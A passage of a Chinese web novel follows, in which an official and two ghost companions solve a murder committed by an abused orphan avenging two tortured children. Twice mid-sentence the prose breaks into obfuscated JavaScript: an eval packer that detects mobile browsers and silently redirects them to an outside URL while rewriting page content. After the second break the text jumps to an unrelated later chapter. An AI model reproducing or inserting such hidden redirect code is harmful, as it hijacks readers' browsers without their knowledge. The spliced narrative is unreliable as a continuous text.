结果,信誓旦旦绝不多瞧半眼的秋瑟瑟,一见到徐寄春,便将所有承诺抛之脑后,死活要跟着他。 十八娘说她两句,她直接躺地上撒泼打滚。 徐寄春被她的哭声吓到,赶忙答应:“行行行,你站在我左边。” 于是,今日再入宅,徐寄春的身边,再也没了参军的位置。 参军只能尴尬地走在前面,不时回头偷瞄身后自言自语的徐寄春。 穿堂风吹过,他颤颤巍巍裹紧官服:“徐大人……下官已查证过:马氏夫妇被杀当夜,何根生与两人在家喝酒至子时;而钱茂才租住的院子,则有三人证明其一直待在房中教鹦鹉说话。” 徐寄春从左右二鬼的争吵中回神:“除了这二人,还有旁的嫌犯吗?” 参军摇头:“不过,钱茂才说有事想告诉您。” 徐寄春随参军去见钱茂才。 照旧参军在前,徐寄春在后自说自话—— “听话。” “好了,别吵了。” 听着想劝架,细听又像是在哄一个女子或小孩? 参军缩着脖子,越走越快。 钱茂才住在马家附近,宅子里挨挨挤挤住着的,多是些在瓦舍讨生活的三教九流。而他之所以想见徐寄春,是断定自己发现了一个惊人秘密。 马氏夫妇,可能杀过人! 徐寄春眉头紧锁,耳边是钱茂才毫无根据的胡言乱语:“大人,小人曾细细摸过人腊。那对人腊身上有很多疤痕,一看便知生前曾遭过不少毒打。” 参军见徐寄春皱眉,呵斥道:“许是制人腊时,不小心弄上去的。” 钱茂才冷哼一声:“小人与马四喜是同乡,他自小便是个偷鸡摸狗的泼皮无赖。小人隐约听其他同乡提起过:四年前,马四喜与陶庆娘身边,跟着两个七、八岁的小孩!” 四年后,活生生的小孩消失。 而马氏夫妇的木箱中,多了一对死亡的人腊。 徐寄春:“马氏夫妇的人腊,你可曾问过他们是如何得来的?” 钱茂才拍拍胸脯压惊:“问过,马四喜说是高价从一个大夫手上买来的。放屁!他和陶庆娘终日无所事事,哪来的银子买人腊?!” 一对游手好闲的夫妇,两个消失的小孩。 徐寄春起身走去门外角落,压低声音看向右侧的十八娘:“你还记得那对人腊的样子吗?” 十八娘点头。 当日在人腊站起来后,她曾好奇地看过一眼:“好像确实有很多伤痕……其中一具人腊的手臂上,有一个圆圆的疤痕。” 躲在徐寄春左侧的秋瑟瑟抬头:“圆圆的疤痕是被开水或热油烫的。” 十八娘:“你怎么知道?” 秋瑟瑟笑容满面:“我从摸鱼儿的书上瞧来的。” 摸鱼儿最爱看书写书,大半冥财都用在买书上。 他房中的书,千奇百怪,应有尽有,而秋瑟瑟一贯喜欢缠着他讲故事。 十八娘信了她的说辞:“若是开水或热油烫后留下的疤痕,岂非那对人腊是小孩做的?照理看牙齿和骨头,那对人腊分明已经十余岁,可生前的身量却最多七岁……” 秋瑟瑟再次抬起头:“不吃饭便长不高;住在地窖里不见光,也长不高。” 十八娘古怪地盯着她:“你怎么又知道?” “嘿嘿,摸鱼儿说的。他还教我每日在房里跳一跳,说这样能助筋骨伸展,长得高些呢。” “你确实有点矮。” “你还有脸说我矮?每日啃三只大猪蹄,你胖了不少!” “……” 十八娘幽怨的目光投向“罪魁祸首”徐寄春:“猪蹄吃腻了,我要吃红烧肉。” “好啊。” 参军踏出房门去寻徐寄春,正巧撞见他眉目含笑看着空寂的墙角。 “徐……徐大人,您还问吗?”参军吓得一激灵,说话时舌头都在打颤。 “不问了,去瞧瞧尸身。” 今日实在不巧,参军带着徐寄春赶至城外义庄时,马氏夫妇的尸身已运去城中。 据说是尸身渐起腐变,唯城中义庄辟有冰窖。 无法,徐寄春只好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556972|186394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向守庄的老卒借走仵作的手札。 顶着午后灼人的烈日,一人两鬼慢慢往回走。 入了城回了家,秋瑟瑟哭闹又起:“我要睡觉!我要听故事!” 十八娘跃上房顶,先跑为敬。徐寄春僵在原地,独自面对地上滚来滚去的秋瑟瑟:“瑟瑟,你去床上滚,我给你讲故事……” “你讲吧。”秋瑟瑟爬到床上,脸蛋通红,满怀期待。 徐寄春在床边坐定,眉头蹙了又展,在肚中翻来覆去搜刮半晌,才哑声开了头:“昔有一兔,居于山林之间……” 故事讲到一半,秋瑟瑟瘪着嘴酣然入梦。 徐寄春蹑手蹑脚出门,朝对向房顶挥了挥手。 十八娘飘到他身边,为秋瑟瑟的无礼道歉:“子安,对不起。她年纪小脾气大,被我们惯坏了。” 徐寄春:“无妨,她挺好哄的。” 时辰尚早,秋瑟瑟睡得正香。 徐寄春拖来长凳,摊开仵作的手札,十八娘挨着他坐下。 一人一鬼头挨着头,凝神细看。 手札中所记的马氏夫妇死因,与参军所言大差不差。 陶庆娘被一刀割喉,而马四喜浑身上下遍布二十一道长短不一的刀伤。 “我记得,那对人腊身上,似乎这处也有伤痕。”十八娘指着验尸图格上的一处标记。 早知这案子的破案关键在那对人腊身上,她当日就该好好看一看摸一摸。 一个猜测浮上心头,徐寄春收起手札,盘算着明日去趟义庄,仔细验看过尸身,再作论断。 午后风是有的,却懒散无力。 夏蝉嘶鸣,徐寄春仿若未闻,目光落在院中水井处,无波无澜地问道:“你今早哭过吗?” 十八娘:“嗯。我一睁眼看到一箱金元宝,高兴得哭了。” “若你喜欢,我改日再送你一箱。” “子安,够了。还有,其余东西不必送了,我房里很小,堆不下。” “好。” 秋瑟瑟一觉睡至酉时末,满足地伸了个懒腰。 外间隐约传来说笑声,她轻手轻脚溜到门后,拨开半寸门缝偷看。 原是十八娘在听徐寄春讲鬼故事。 十八娘胆子小又想听,一会儿捂耳,一会儿捂眼。 秋瑟瑟死死捂住嘴巴,却还是“噗呲”笑出声。 十八娘听到笑声,气不打一处来:“秋瑟瑟,走了!” “子安,明日见。” “子安哥哥,明日见。” “你明日还来?” “小气鬼,我偏要来。” 秋瑟瑟动如脱兔,跑得极快,十八娘在她身后急追。 待踏进浮山,秋瑟瑟总算安静下来,乖顺地伸出小手,勾住十八娘的手指:“子安哥哥是好人。” “你如何看出来的?” “阿箬告诉我:若有人肯耐心给小孩讲故事哄小孩睡觉,那他定是好人。” 十八娘:“算你有脑子。” 秋瑟瑟:“我本就比你聪明,比你胆子大。” “你别以为我不打小孩鬼!” 今日的浮山楼前,站着一个冷若冰霜的女鬼,双手各攥着一串糖葫芦。 见到一高一矮两个鬼影归来,她一把将糖葫芦硬塞进二鬼手中:“他送你和瑟瑟的。还有一个纸人,我拖去你房中了。” 拖? 十八娘顾不上糖葫芦,一路哀嚎而去:“啊,我的纸人!” 纸人搁在架子床上,十八娘一入房,便慌忙扑过去查看。 很好,并无损伤。 她抱起纸人端详,才惊觉这纸人与寻常的不同。 不仅高逾常人,而且眉眼描摹得精细如生。 只是这模样,全然不似温洵。 “这纸人,怎么像子安啊……” 21.小人国(七) 当夜,十八娘在床上辗转反侧。 每每翻身,她总会与酷似徐寄春的纸人对视。 前半夜,她抱着纸人安慰自己:“没事,许是子安画错了,我就当他是温道长吧。” 后半夜,她拖着被子默默睡到地上,留纸人待在床上。 “怎么越看越像子安……” “呜呜呜,我昨日该提醒子安的,都怪秋瑟瑟!” 沉沉夜色褪去,一声清越的鸡啼自山下的村落传来。 十八娘从地上爬起来,如往常一般站在床前穿衣。 穿到一半,她惊愕回头,见纸人目不转睛地盯着她的后背。她赶忙拽过被子,将纸人从头到脚蒙了个严实。 纸人与真人等高,实在不好丢。 十八娘在床边枯坐半晌,只得小心将它挪至墙角,面壁站定。 等她安顿好纸人,秋瑟瑟推开门,探出个脑袋:“你还不走吗?子安哥哥今日不用上朝,会直接去义庄。” “你倒从未喊过我十八娘姐姐。” “你还从未喊过我瑟瑟妹妹呢。” “……” 十八娘心知肚明秋瑟瑟整日尾随她的那点心思。 不过,相比楼中其他鬼,她倒宁愿小鬼秋瑟瑟跟着她。 “走吧。” 徐寄春在义庄外徘徊了半个时辰,总算等来吵闹的十八娘与秋瑟瑟。 照旧,一个站在他右手边,抱着手别过脸:“我今日不要和她说话。” 一个站在他左手边,仰着头告状:“子安哥哥,她把你的纸人丢在一边。” 吃里扒外的叛徒鬼! 十八娘眼神慌乱,气得牙痒痒:“我昨夜抱着纸人睡了半宿!今早没地方放,我才把它挪到墙边而已。” 闻言,徐寄春挺拔的身姿微微一僵,眼中满是愧色:“唉,十八娘,我画错人了。” 十八娘:“我就知道是你画错了。” 四下无人,徐寄春低下身,凑到她的耳边,承诺道:“我昨日作画时,一时忘了温师侄的相貌,便随意画了几笔。你放宽心,我今日一定认真画他。” 十八娘担心他操劳过甚,出言劝阻道:“不必急于一时,你有空再画。” “儿孝母,自当劳而不怨。” “……” “子安,那个纸人特别像你。” “看来我的画技已臻化境。” 停尸的义庄内,参军望着已腐的尸身,脸上是掩不住的无奈:“徐大人,马四喜尸首腐坏过甚,实难复验。” 恶臭熏天,徐寄春用手帕掩鼻,掀开盖在尸身上的白布。 马四喜面色污黯,浑绿的尸水混着暗红的血污,正从多处破损的皮肤流出。 “出去说。”尸臭味令人作呕,徐寄春疾步冲向屋外,扶着门框大口喘气,“才三日,尸身怎败得如此快?” 参军支支吾吾,说不出半句囫囵话。 徐寄春一记眼刀甩过来,刺得他一哆嗦:“回大人:万仵作初验后,两具尸身原置屋内阴凉处。前日,他因酒失职,其徒误将马四喜尸身作天花尸,移置院中曝晒两日。” 端阳过后,日头越发毒辣。 马四喜的尸身经过两昼夜的曝晒,腐败加剧,蛆虫初现。 昨日移尸时,众人发觉不对,已为时已晚。 参军硬着头皮继续说道:“徐大人,虽尸身腐坏,难以复验。然初验剖检,经京兆府四位仵作共录,条陈详备,绝无疏漏。至于玩忽职守的万仵作及其徒,下官已行文责成,各罚俸三月。” 尸身坏了,人也罚了。 事到如今,徐寄春只能回头催促十八娘离开,却见她正招手唤他过去。 徐寄春捂住口鼻,信步走过去:“怎么了?” 十八娘:“尸身上多了几道伤。” “伤?” 十八娘点点头:“昨日那卷手札上,写明马四喜身上有二十一道刀伤。但你方才掀开白布后,我留心数了数,他身上实则有二十六道刀伤。” 徐寄春相信十八娘,当即朝屋外的参军大喊:“验尸的仵作在何处?” 参军找来当日初验的四位仵作。 一听尸身上多了五道伤,四人面面相觑,笃定道:“两位大人,当日验尸乃在院中,小人等四人断不敢数错。” 为防十八娘数漏,徐寄春在仵作到来前,忍着脏腑间翻涌的恶心,将马四喜身上的伤口重新数了一遍。 的的确确是二十六道,而不是初验的二十一道。 二十一与二十六,中间隔着整整五道创口。 尸身上的刀伤狰狞绽开,四个仵作岂能尽数错漏? 除非…… 有人在初验后,又往马四喜的身上划了五刀。 思及此,徐寄春的目光看向四个仵作:“马氏夫妇的尸身,平时由谁看守?” 其中一名仵作举起手:“回禀大人,是小人与徒弟在管。” 参军适时介绍道:“徐大人,此人是万仵作,其徒便是错把尸身移置院中之人。” 徐寄春盯着:“你徒弟在何处?” 万仵作扭头朝外,大声唤了一声:“狗儿,过来。” 不多会儿,院外走进来一个二十余岁的男子。 万仵作上前拽着他,胆战心惊走到徐寄春面前站好:“回大人,他就是狗儿,真名叫万金。他是个孤儿,胆子又小,小人见他可怜,便收他做了徒弟。” 万金含胸驼背低着头,怯懦地站在万仵作身边。 徐寄春将万金从头到脚审视一遍,最终将目光落在他的手背上。 那里,有一个圆圆的疤痕。 秋瑟瑟说,这种疤痕多是被开水或热油烫的。 徐寄春凌厉的眼神扫向万仵作:“你虐待他?” 万仵作吓得瘫坐在地:“小人收留他后,真心把他当儿子养,从未打过他!狗儿,你自个说,师父有没有打过你?” “不是师父打的,是从前的摊主打的。人是我杀的,与师父无关。”万金说话慢,声音更是微弱。 话音未落,万仵作腾得站起来:“你别乱说话。” 万金依旧垂首,双手颤抖:“十日前,他们在瓦舍摆摊,我瞧见那对人腊后,便知那两个孩子是被折磨死的。” 因为他也曾被人折磨过,所以他深知每道伤疤背后的全部真相。 开水烫,热油浇,棍棒竹条抽打脊梁。 还有暗无天日的地窖与猪圈,以及永远吃不饱的肚子。 他心疼那对人腊,生前遭马氏夫妇折磨,死后还被他们做成人腊,四处敛财。 万金:“我想救那两个孩子。我试过偷,却无意间听见马四喜打算再收养两个乞儿做成人腊,所以我只能杀了他们。跟踪他们三日后,我便动手了……” 杀人当日,他一直藏在马家对面的角落,亲眼看到马四喜拎着两壶酒回家。等到亥时,他利用从前学过的口技,假装肩上有鹦鹉的钱茂才上前叩门。 陶庆娘半点没起疑心,直接拉开门栓让他进门。 随她进门后,他反手一刀,抹了她的脖子。再跑进房内,一刀接一刀划开马四喜的皮肉。 最后,他抱走那对人腊。 赶在晨间官差到来前,他趁乱离开,亲手埋藏了那两个孩子。 徐寄春:“你为何要多此一举添上那五刀?” 万金抬起头,勉强笑了笑:“我葬他们时,发现他们身上共有二十六个伤疤,便补了五刀。” 真相大白,万仵作扑通跪地为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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自家外甥素日里热心肠,爱帮扶他人,原是桩好事。 可此刻武飞玦望着徐寄春远走的清瘦背影,心里却突突地跳得慌。 历来不论男女,拆字为上。 武飞玦立在廊下,暗暗有了一个主意。 前日,他曾听妹妹武飞琼提起一事:陆家四娘子陆修时,正随四叔陆延禧在凤城静养,待下月将返京。 武飞琼为择人迎归之事,已烦忧半月有余。 如今想来,陆修晏最合适不过。 “最好去个十天半个月,彻底断了明也的心思。” 远在宜人坊的陆修晏,尚不知自己已被亲舅父悄然点了名。 他今日为徐寄春的新宅奔走大半日,诸事方定。 眼下,他坐在院中桌前,眼含笑意,一遍遍望向院门,开心等待母子俩回家。 徐寄春一回家,见满桌酒菜飘香,疑惑道:“明也,你今日帮了我大忙,原该我请你。” 陆修晏热情招呼一人一鬼坐下:“我在你家借住多日,合该我请你。” 两人南北对坐,对饮甚欢。 十八娘独坐东席,吃不得喝不得,却忙得不亦乐乎。 “明也,你不准再灌子安了!”她一会儿急得去拍陆修晏的胳膊,一会儿又转向徐寄春,忧心忡忡劝他少喝,“子安,你沾酒便倒,别喝了!” 这场酒局,以武飞琼派来的下人接走陆修晏而散场。 两个下人站在门口,架着醉醺醺的陆修晏,与面色平静的徐寄春道别:“子安,明日见;十八娘,明日见。” 徐寄春强撑着送走陆修晏,才跌跌撞撞摸回房,径直栽倒在床上。 身后跟随而至的十八娘心急如焚,忙凑到他面前唤他:“子安,你还好吗?” 徐寄春突然睁开眼,怔怔盯着她却一言不发。 他的目光灼烫,她指尖发颤,伸手欲挡,鬼使神差地问出一句话。 “子安。” “嗯?” “你是不是喜欢我?”